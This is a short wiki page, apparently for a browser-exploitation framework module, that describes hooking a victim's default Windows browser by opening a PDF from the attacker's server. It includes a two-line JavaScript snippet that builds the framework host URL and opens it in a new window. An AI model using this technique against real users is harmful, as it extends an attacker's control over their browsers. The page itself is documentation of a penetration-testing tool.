Skip to content

Module: Hook Default Browser

Haoxi Tan edited this page Jan 7, 2020 · 2 revisions

Summary

  • Objective: hook the default browser on Windows

  • Authors: saafan

  • Browsers: All except on iOS and Mac

  • Code

Internal Working

This module attempts to hook the default browser by opening a PDF file in a new window. It will only hook the default browser if the current doesn't support the PDF protocol by itself.

var pdf_url =  beef.net.httpproto + '://'+beef.net.host+ ':' + beef.net.port + '/report.pdf';
window.open( pdf_url, '_blank');

Feedback

Clone this wiki locally